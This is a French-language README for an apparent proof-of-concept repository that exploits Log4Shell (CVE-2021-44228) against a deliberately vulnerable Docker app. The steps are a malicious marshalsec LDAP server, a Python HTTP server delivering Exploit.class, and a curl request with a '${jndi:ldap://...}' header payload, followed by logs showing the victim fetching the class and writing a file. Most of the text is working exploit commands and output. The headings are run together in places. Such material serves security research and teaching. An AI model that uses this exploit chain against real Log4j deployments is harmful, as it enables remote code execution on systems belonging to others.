
Preuve de concept pour CVE-2021-44228.
Le but de ce dépôt est de fournir tous les composants nécessaires pour exploiter CVE-2021-44228, surnommé Log4Shell,
et de montrer comment l'exploiter.
Les composants nécessaires pour exploiter cette vulnérabilité sont les suivants :
Crédits :
Prérequis :
serveur LDAP et du serveur HTTPServeur HTTP1. Déplacez-vous dans le dossier exploit et démarrez le serveur http à l'aide de Python.
python3 -m http.server PORT
Serveur LDAP1. Déplacez-vous dans le dossier ldap_server et construisez le pom.xml
mvn clean package -DskipTests
2. Déplacez-vous dans le dossier target et démarrez le serveur en spécifiant http_server_ip et http_server_port
java -cp ldap_server-1.0-all.jar marshalsec.jndi.LDAPRefServer "http://http_server_ip:http_server_port/#Exploit"
Remarque : cette commande exécute le serveur ldap malveillant en le forçant à répondre avec l'URI Exploit.class à chaque requête ldap.
application vulnérableExécutez le conteneur Docker de l'application vulnérable
docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
Remarque : par défaut, nous exécutons l'application vulnérable sur le port 8080, n'hésitez pas à le modifier.
Une fois que vulnerable_application, ldap_server et http_server
sont en cours d'exécution, envoyez une requête http malveillante au serveur vulnérable.
curl VULNERABLE_APPLICATION_IP:8080 -H 'X-Api-Version: ${jndi:ldap://ldap_server_ip:1389/a}'
vulnerable_application enregistrera la charge utile et effectuera une requête ldap
2021-12-24 18:48:14.644 INFO 1 --- [nio-8080-exec-1] HelloWorld: Received a request for API version ${jndi:ldap://10.0.2.15:1389/a}
ldap_server répondra avec l'URI Exploit.class
Listening on 0.0.0.0:1389
Send LDAP reference result for a redirecting to http://10.0.2.15:8443/Exploit.class
http_server recevra une requête pour Exploit.class
Serving HTTP on 0.0.0.0 port 8443 (http://0.0.0.0:8443/) ...
172.17.0.2 - - [24/Dec/2021 19:48:14] "GET /Exploit.class HTTP/1.1" 200 -
Enfin, nous pouvons vérifier que l'exploit a créé un nouveau fichier sur le système de fichiers de la victime. Dans cet exemple, nous devons vérifier le système de fichiers du conteneur Docker.

https://www.lunasec.io/docs/blog/log4j-zero-day/
https://github.com/mbechler/marshalsec
https://github.com/christophetd/log4shell-vulnerable-app